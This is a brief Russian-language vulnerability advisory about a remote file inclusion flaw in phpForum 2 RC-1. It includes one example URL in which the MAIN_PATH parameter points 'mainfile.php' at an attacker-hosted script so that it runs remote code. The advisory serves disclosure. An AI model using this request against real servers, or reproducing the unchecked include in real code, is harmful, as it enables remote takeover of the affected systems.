Удаленное выполнение произвольного кода в phpForum

Уязвимость обнаружена в phpForum. Удаленный пользователь может выполнить произвольный код на системе.

Удаленный пользователь может вызвать 'mainfile.php' сценарий и определить альтернативное расположение для '$MAIN_PATH' переменной, чтобы включить произвольный 'config.php' сценарий, расположенный на сервере атакующего. Пример:

http://[target]/forum/mainfile.php?MAIN_PATH=http://[attacker]

Уязвимость обнаружена в phpForum 2 RC-1

Способов устранения обнаруженной уязвимости не существует в настоящее время.